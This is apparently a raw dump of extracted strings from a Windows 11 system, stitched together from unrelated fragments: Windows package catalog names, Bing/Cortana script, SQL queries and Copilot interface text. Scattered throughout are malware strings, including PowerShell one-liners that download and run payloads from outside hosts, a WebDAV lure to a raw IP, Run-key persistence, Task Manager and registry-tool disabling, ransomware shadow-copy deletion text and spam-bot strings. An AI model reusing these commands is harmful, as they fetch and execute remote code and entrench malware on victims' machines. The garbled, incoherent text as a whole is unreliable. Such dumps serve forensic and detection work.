shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\DynamicProgIdPlatformExtension.cpp
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\ExtensionFactory.cpp
c:\windows\system32
set-regkey"hklm:\software\policies\microsoft\windows\datacollection\allowtelemetry""value"0
"windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"
c:\windows\system32\windowspowershell\v1.0\powershell.execmd/c"
c:\windows\system32\wscript.exe//
Microsoft.Windows.LicenseManager.Telemetry
.expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe")endif
"http://2t.pm:8080/y/jbuo65bec/kzivdirc87qmp/!computername!"%windir%\system32\shell32.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\WINDOWS\DeeperDiscount
c:\windows\system32\midimap.DriverProcc:\windows\system32\midimap.modMessagec:\windows\system32\midimap.modmCallback
C:\WINDOWS\<	
c:\windows\temp\svchostl
ndows\System32\backgroundTaskHost.exe
Metrics.Graphics.WindowsColorSystem
\Windows
7HKLM\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers\0\PathsM
login.windows.net
WindowsFormsApp30.Properties.Resources
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoDriveTypeAutoRun
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableRegistryTools
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableTaskMgr
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
..\..\third_party\wp.client\msinternal\src\base\core\windows\device.cpp
SLGetWindowsInformationDWORD
SlGetWindowsInformationDword
..\..\third_party\wp.client\msinternal\src\base\core\windows\..\src\delay_load.h
..\..\third_party\wp.client\msinternal\src\base\core\windows\online_auth.h
windowsCreateString
CombaseWindowsGetStringRawBuffer nullptr
..\..\third_party\wp.client\msinternal\src\base\core\windows\dns-win.cpp
..\..\third_party\wp.client\msinternal\src\base\core\windows\uuid-win.cpp
..\..\third_party\wp.client\msinternal\src\base\core\windows\string_util-win.cpp
..\..\third_party\wp.client\msinternal\src\base\core\windows\named_mutex-win.cpp
securitycenter.windows.com
=windowstyl"&&set"
ddeautoc:\\windows\\system32
Z-windowstylehidden-
regedit4[hkey_local_machine\software\microsoft\windows\currentversion\run]"a"="
(.:)\windows\system32\drivers\wd
new Date(n.getCurrentTime()+this.getDSBGleamExpiryInMins()*n.MINS_TO_MILLIS);let t=u.toISOString();t=t.slice(0,-5)+t.slice(-1);this.setDefaultGleamContentPoFSchema(t);i&&(n.logToMC("Bing_QF_DynamicSearchViewModel","setGleamDataPoFSchemaDefaultGleam","logDynamicSearchViewModel"),this.instrumentGleam(n.DefaultGleamData,r))}i&&(n.logToMC("Bing_QF_DynamicSearchViewModel","setGleamDataPoFSchema","logDynamicSearchViewModel"),n.dsbManager.updateDynamicSearchBoxContent("DynamicSearchViewModel.setGleamDataPoFSchema",this.getName()))}async setGleamDataFromThirdParty(t,i){this.searchAppearanceGleamContent={gleamData:t,contentType:2};i&&(n.logToMC("Bing_QF_DynamicSearchViewModel","setGleamDataFromThirdParty","logDynamicSearchViewModel"),await n.dsbManager.update3pDynamicSearchBoxContent("DynamicSearchViewModel.setGleamDataFromThirdParty"))}setDefaultGleamContent(t,i){this.dynamicSearchBoxContent={attributes:{gleamFormat:1},parameters:{placeholderText:i!==null&&i!==void 0?i:n.DefaultGleamData.GleamText,lightGleamDataOrUrl:n.DefaultGleamData.LightGleamUrl,darkGleamDataOrUrl:n.DefaultGleamData.DarkGleamUrl,expirationTime:t,telemetryId:n.getTelemetryIdFromUrl(n.DefaultGleamData.LightGleamUrl)}}}setDefaultGleamContentPoFSchema(t){const i={schemaVersion:n.DefaultSchemaVersionPoF,expirationTime:t,telemetryId:n.getTelemetryIdFromUrl(n.DefaultGleamData.LightGleamUrl),content:{taskbarSearchBox:{input:{placeholderText:""}}}};this.searchAppearanceGleamContent={gleamData:i,contentType:1}}render(){var i,r,u,f;let o=n.getCurrentTime();const s=this.getMomentToRender();let t=this.getV2MomentToRender(),e=null;e=n.config.enableDSBMergedRefactor?t!==null&&t!==void 0?t:this.isMergedRouteEnabled()&&this.DSBSearchCallStatus==="InitMergedCall"?(i=this.multiMomentsDataModel)===null||i===void 0?void 0:i.moments[0]:(r=this.DSBMiniserpDataModel)===null||r===void 0?void 0:r.moments[0]:t!==null&&t!==void 0?t:this.isMergedRouteEnabled()&&this.isDSBMergedCallSuccess>0?(u=this.multiMomentsDataModel)===null||u===void 0?void 0:u.moments[0]:(f=this.DSBMiniserpDataModel)===null||f===void 0?void 0:f.moments[0];this._page.updateDynamicSearchView(s,e);this.buildInteractionModel();n.config.enableDsbFetchNRenderTelemetry&&this.instrumentRender(o,n.getCurrentTime())}getMomentToRender(){var n;const t=this.activeMomentsIndexMap[this.activeMomentDate];if((n=this.multiMomentsDataModel)!==null&&n!==void 0)return n.moments[t!==null&&t!==void 0?t:0]}getV2MomentToRender(){let t=null;if(n.isCurrentDayMainMomentDismissed){const n=this.activeMomentsIndexMap[this.currentDateDSBStr];t=this.multiMomentsDataModel.moments[n]}return t}getCurrentMomentContentCache(){var t,i,r;return n.isDSBFullWidthFlightEnabled()?((t=this.DSBV2ContentCache)===null||t===void 0?void 0:t.cacheTime)>0&&((i=this.DSBV2ContentCache)===null||i===void 0?void 0:i.cacheTime)<((r=this.multiMomentsContentCache)===null||r===void 0?void 0:r.cacheTime)?this.DSBV2ContentCache:this.multiMomentsContentCache:this.multiMomentsContentCache}shouldUpdateCurrentMoment(){var n;if((n=this.multiMomentsDataModel)===null||n===void 0?void 0:n.moments){const n=this.getNextMomentIndex(this.currentDateDSBStr,this.multiMomentsDataModel);return this.activeMomentsIndexMap[this.currentDateDSBStr]==n?!1:(this.activeMomentsIndexMap[this.currentDateDSBStr]=n,this.updateGleamOnCurrentDayMomentChange(n),!0)}return!1}shouldFetchDSBContent(t,i,r){var u;if(n.config.enableDSBMergedRefactor){if(r||!this.multiMomentsDataModel)return!0}else if(!this.multiMomentsDataModel||!this.DSBMiniserpDataModel&&n.shouldShowDSBFullWidth())return!0;if(this.isWindowsActivationStateEnabled()){const i=n.loadWindowsActivationStateFromCache(),t=SearchAppWrapper.CortanaApp.systemInfo.isWindowsGenuine();if(i!==t)return n.setWindowsActivationStateToCache(t),!0}const f=this.getCurrentMomentContentCache(),e=n.getCurrentTime()>((u=f.cacheTime)!==null&&u!==void 0?u:0)+n.MIN_SHOWN_UPDATE_MILLIS,o=t&1,s=i!=2;return o&&(s||e)}shouldResetDSBContent(){const t=this.getCurrentMomentContentCache();return(t===null||t===void 0?void 0:t.cacheTime)!=null?n.getCurrentTime()>=t.cacheTime+this.getp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
0 AND pu._WorkID=0), PackageIdByDefaultAccountForPackageFamilyNotUser(_PackageID) AS (SELECT _PackageID FROM Package AS p INNER JOIN PackageUser AS pu ON pu.Package=p._PackageID WHERE ?5 AND pu.User IN (SELECT _UserID FROM User AS u WHERE u.UserSid=?4) AND p.PackageFamily NOT IN (SELECT DISTINCT PackageFamily FROM Package AS p INNER JOIN PackageUser AS pu ON pu.Package=p._PackageID WHERE pu.User=?1 AND p._WorkID=0 AND pu._WorkID=0)AND p._WorkID=0 AND pu._WorkID=0), PackageIdByAll(_PackageID) AS (SELECT _PackageID FROM PackageIdByUser UNION ALL SELECT _PackageID FROM PackageIdByDefaultAccountForPackageFamilyNotUser)SELECT ae._ApplicationExtensionID, ae._Revision, ae._WorkId, ae.Application, ae."Index", ae.Category, ae.Activation, ae.HostId, ae.Executable, ae.Entrypoint, ae.RuntimeType, ae.StartPage, ae.ResourceGroup, ae.Flags, ae.Subsystem, ae.Parameters, ae.CurrentDirectoryPath, ae.Id, ae._LocalizedDictionary, ae._Dictionary FROM ApplicationExtension AS ae INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN Package AS p ON p._PackageID=a.Package INNER JOIN FileTypeAssociation AS fta ON fta.Extension=ae._ApplicationExtensionID INNER JOIN PackageIdByAll AS cte_p ON cte_p._PackageID=a.Package WHERE ae.Category='windows.fileTypeAssociation' AND p.PackageFullName=?2 AND fta.FileType=?3 AND ae._WorkId=0 AND a._WorkId=0 AND p._WorkId=0 AND fta._WorkId=0;
SELECT ae._ApplicationExtensionID, ae._Revision, ae._WorkId, ae.Application, ae."Index", ae.Category, ae.Activation, ae.HostId, ae.Executable, ae.Entrypoint, ae.RuntimeType, ae.StartPage, ae.ResourceGroup, ae.Flags, ae.Subsystem, ae.Parameters, ae.CurrentDirectoryPath, ae.Id, ae._LocalizedDictionary, ae._Dictionary FROM ApplicationExtension AS ae INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN PackageUser AS pu ON pu.Package=a.Package INNER JOIN Protocol AS pr ON pr.Extension=ae._ApplicationExtensionID WHERE ae.Category='windows.protocol' AND pu.User=?1 AND a.ApplicationUserModelId=?2 AND pr.ProtocolName=?3 AND (ae._WorkId=0 OR ae._WorkId=?6) AND (a._WorkId=0 OR a._WorkId=?6) AND (pu._WorkId=0 OR pu._WorkId=?6) AND (pr._WorkId=0 OR pr._WorkId=?6);
SELECT ae._ApplicationExtensionID, ae._Revision, ae._WorkId, ae.Application, ae."Index", ae.Category, ae.Activation, ae.HostId, ae.Executable, ae.Entrypoint, ae.RuntimeType, ae.StartPage, ae.ResourceGroup, ae.Flags, ae.Subsystem, ae.Parameters, ae.CurrentDirectoryPath, ae.Id, ae._LocalizedDictionary, ae._Dictionary FROM ApplicationExtension AS ae INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN PackageUser AS pu ON pu.Package=a.Package INNER JOIN Protocol AS pr ON pr.Extension=ae._ApplicationExtensionID WHERE ae.Category='windows.protocol' AND pu.User=?1 AND a.ApplicationUserModelId=?2 AND pr.ProtocolName=?3 AND ae._WorkId=0 AND a._WorkId=0 AND pu._WorkId=0 AND pr._WorkId=0;
SELECT ae._ApplicationExtensionID, ae._Revision, ae._WorkId, ae.Application, ae."Index", ae.Category, ae.Activation, ae.HostId, ae.Executable, ae.Entrypoint, ae.RuntimeType, ae.StartPage, ae.ResourceGroup, ae.Flags, ae.Subsystem, ae.Parameters, ae.CurrentDirectoryPath, ae.Id, ae._LocalizedDictionary, ae._Dictionary FROM ApplicationExtension AS ae INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN PackageUser AS pu ON pu.Package=a.Package INNER JOIN FileTypeAssociation AS fta ON fta.Extension=ae._ApplicationExtensionID WHERE ae.Category='windows.fileTypeAssociation' AND pu.User=?1 AND a.ApplicationUserModelId=?2 AND fta.FileType=?3 AND (ae._WorkId=0 OR ae._WorkId=?6) AND (a._WorkId=0 OR a._WorkId=?6) AND (pu._WorkId=0 OR pu._WorkId=?6) AND (fta._WorkId=0 OR fta._WorkId=?6);
Gattrib+r+hc:\windows\system32\release.exe
startc:\windows\system32\release.exe
hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall
_hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidefileext
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
GetWindowsDirectoryW
GetProcessWindowStation
?d:\os\src\onecoreuap\windows\core\ntgdi\rust\rgncore\src\scan.rscalled `Result::unwrap()` on an `Err` valueassertion failed: index < self.wall_count()assertion failed: index <= scan_data.len()assertion failed: ScanInternal::is_valid_scan(&&*self.scan_data, previous_index)assertion failed: *wall_count > 0TryFromIntError()gdi_rust\src\umptr.rsassertion failed: layout.align() <= MEMORY_ALLOCATION_ALIGNMENTgdi_alloc\src\lib.rs
TryReserveErrorkindWindowsErrortrying to read past pscnTail
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Graphics.Display
Microsoft.Windows.TlgAggregateInternal
WindowsCreateString
WindowsCreateStringReference
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Graphics.Cdd
?qt_metacast@QWindowsPipeReader@@UEAAPEAXPEBD@Z
?qt_metacast@QWindowsPipeWriter@@UEAAPEAXPEBD@Z
c:\windows\temp\cleanup.batc
C:\Windows\System32\conhost.exe --headless C:\Windows\System32\wlrmdr.exe -s 60000 -f 2 -t "%s" -m "%s"C
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
"Windows"
windows 
windows 
%Microsoft Windows Production PCA 20110
Microsoft Windows0
lf1]po:i+00/c:\+2windows\system32\conhost.exec:\windows\system32
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noexitnew-item$env:temp\name.txt;set-content$env:temp\name.txt'test';start-processnotepad.exe$env:temp\name.txt;iwr-urihttps://github.com/attationin/cloud/raw/main/built1.exe-outfile$env:temp\1w14tbuilt1.exe
rM$pscommand="invoke-webrequest'https://statns.pro/update.php'-useragent'mozilla/5.0(windowsnt10.0;win64;x64)'|foreach-object{iex`$_.content};exit"start-process-filepath"powershell.exe"`-argumentlist"-noprofile","-executionpolicy","bypass","-command",$pscommand`-windowstylehidden
&.NET Docking Library for Windows Forms
windows.hlp`
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
main.addWinlogonm
 Windows 
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
X-BM-WindowsFlights
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\62.60.226.24@80\file\'";start-sleep-seconds4;stop-process-nameexplorer;\\62.60.226.24@80\file
Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
c:\windows\system32\
c:\windows\temp\
c:\windows\system32\
c:\windows\system32\svchost
= aGJxV(ajc9Rz(acBN3(aLVyH), 10))Interaction.Shell "C:\Windows\explorer.exe " & aFoes= Chr("" & aBu0zs & "")
windows\powershell\scriptb'+'locklogging'w
idel C:\Windows\System32\Taskmgr.exed
 Windows tieg
powershell-noprofile-executionpolicybypass-windowstylehidden-command"invoke-webrequest-uri'https://enota.clientepj.com/cliente.ps1'-outfile'%temp%\cliente.ps1'"::execut
Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|esktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-DisplayDiag-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.c
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
2c^windows.packageExtension
37^windows.deploymentExtensionHandler
windows.publisherCacheFolders
64^windows.publisherCacheFolders
Microsoft Windows
windir=C:\WINDOWS%
"Windows"
"Windows"
"Windows"
0C:\Windows\SystemApps
Rs\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewyP
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
http://download.powercreatorsoftware\microsoft\windows\currentversion\explorer\browser helper objects\{5b02eba1-efdd-477d-a37f-05383165c9c0}autoup.exehttp://www.alxup
c:\windows\system32\imglog.exe
WARE\Microsoft\Windows\CurrentVersion\Run
INC-README.txt..windowsprogram filesappdata$recycle.binINC.log.dllSuccessfully deleted shadow copies fromSuccessfully killed processes by maskSuccessfully killed services by maskwhile encrypting file:HackTool:PowerShell/PortScan!AMTB
EDR_attacks_path:string\programdata\Cymulate\Agent\AttacksLogssource\repos\windows-scenarios\Payloads\CymulateStagelessMeterpreter\x64\Release\CymulateStagelessMeterpreter.pdbt
netsh firewall delete allowedprogram "%snetsh firewall add allowedprogram "%ssoftware\microsoft\internet explorer\securityip address like heloit is you again :-(evil_bounce/bn/comgate.xhtml?content-type: %scurrent ip address:host: checkip.dyndns.orguser-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; .netpost %s http/1.1data: i/o errorrcpt to: i/o errormail from: i/o errorok. got %d ipsemail: <%s>session started (v=%d %s; cmpg: %s)out-sessions.logmail.rug/m=%d, t=%d, g=%d, b=%d (bl=%d, nouser=%d, nomx=%d, ioerr=%d, err=%d), th=%d{rndabc8}postmaster@usa.net
c:\windows\system32\knlext.dllc:\windows\system32\drivers\usbkeyinit.sys
C:\WINDOWS\SYSTEM32\Drivers\usbKeyInit.sys
le_windowsupU
 Windows.Microsoft Copilot 
 Windows, 
 Windows, 
 Windows, 
 Windows, 
 Windows, 
 Windows.Microsoft Copilot 
 Windows.
packageyldin.exec:\users\n3o\appdata\local\microsoft\windows\inetcache\content.word\ldin.exe)c:\users\n3o\appdata\local\temp\ldin.exemz
Zfget-windowsfeature
windows-defender-gui|uninstall-windowsfeature
K)()].indexof('windowsnt6'
c:\windows\system32\cmd.exe/c%
.?AV?$_Ref_count_obj@VWindowsTipSubscriptionActivationHelper@ActivationHelpers@TargetedContent@CreativeFramework@@@std@@
.?AVWindowsTipSubscriptionActivationHelper@ActivationHelpers@TargetedContent@CreativeFramework@@
ComSpec=C:\WINDOWS\system32\cmd.exe
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe"
Microsoft.Windows.SMB.SRVADMIN
Microsoft.Windows.Kernel.Pdc
UI\WindowSelection.xbf{(:
	COMPUTERNAME=WINDOWS11
https://fd.api.iris.microsoft.com/v4/api/selection?&asid=EF8152DA393A43FCA2EFD3EF3EA9AE24&nct=1&placement=88000852&bcnt=1&country=CH&locale=en-CH&poptin=0&po=0&fmt=json&clr=cdmlite&MX_FlightIds=MD%3A283BAEF%2CME%3A3667C98%2CME%3A3667C9A%2CME%3A3667CA2%2CME%3A3667CA7%2CME%3A3667CAD%2CME%3A38419AC%2CME%3A3536BD9%2CMD%3A2FE0A31%2CMD%3A2FE0A40%2CMD%3A2FE0A4F%2CMD%3A37B239D%2CMD%3A36AF640%2CMD%3A9999&arch=AMD64&concp=0&d3dfl=D3D_FEATURE_LEVEL_11_0&devfam=Windows.Desktop&devfm=0&devosver=10.0.26200.7840&dinst=1771603177&dmret=0&drgng=223&flightbranch=&flightring=Retail&icluc=0&iepe=2&iste=2&localid=w%3ADBFCEB78-2C59-FA53-8626-4ED67E8A4320&oem=VMware20%2C1&oemn=VMware%2C%20Inc.&oemname=VMware%2C%20Inc.&osbranch=ge_release&oslocale=en-US&osret=1&ossku=Professional&osskuid=48&prccn=2&prccs=2189&prcmf=GenuineIntel&procm=13th%20Gen%20Intel%28R%29%20Core%28TM%29%20i7-1370P&ram=2048&smbiosdm=VMware20%2C1&tinst=Client&tl=1&usri=-2&pat=0&smc=0&sac=0&disphorzres=3438&dispsize=37.9&dispvertres=1199&ldisphorzres=3438&ldispvertres=1199&moncnt=1&cpdsk=60451&frdsk=40516&lo=5273&tsu=5273&RULES_SCHEMA=1
Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat
Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.DefenderCore1DS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%SystemRoot%\system32\mswsock.dll
?N4%windir%\system32\vsocklib.dll
.Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
1^Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
1^Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.Defender
\\Evoke\\WindowsFormsApp1
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.2033.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|e~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
software\microsoft\windows\currentversion\internet settings\connectionsinternetsetoption failed!software\egroup
system32\i
Microsoft.Windows.Audio.DeviceGraph
applets|applications|apps|aps|files|programmes|programs|softare|softwares|sofware|sotfware|windos|windows|applications|apps|application|app|apcompat|appcompat|compatable|compatibility|compatible|still|use|16|bit|16-bit|legacy|old|dos|win31|emulation|ntvdm|=
  SmartScreen settings|smart screen settings|Microsoft Defender SmartScreen|Microsoft Defender smart screen|Windows Defender SmartScreen|Windows Defender smart screen|phishing|PUA|Potentially unwanted applications|Potentially unwanted programs|potentially unwanted software|PUP|PUS|bundleware|adware|junkware|unwanted applications|unwanted programs|unwanted software|greyware|grayware|coin miner|cryptomining|torrent|low reputation applications|"
firewall settings|network protection settings|network virus|Microsoft Defender firewall|Windows firewall|firewall and network protection settings|Windows Defender firewall|B
WindowsImpersonationContext
System.Windows.Forms.UnsafeNativeMethods.IPropertyNotifySink.OnChanged
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.OnControlInfoChanged
AAA_SystemSettings_Notifications_WindowsTipEnabled
*hWindowsG
#AAA_SystemSettings_Notifications_WindowsTipEnabled
*huse WindowsK
+AAA_SystemSettings_Notifications_WindowsTipEnabled
*hyou use WindowsN
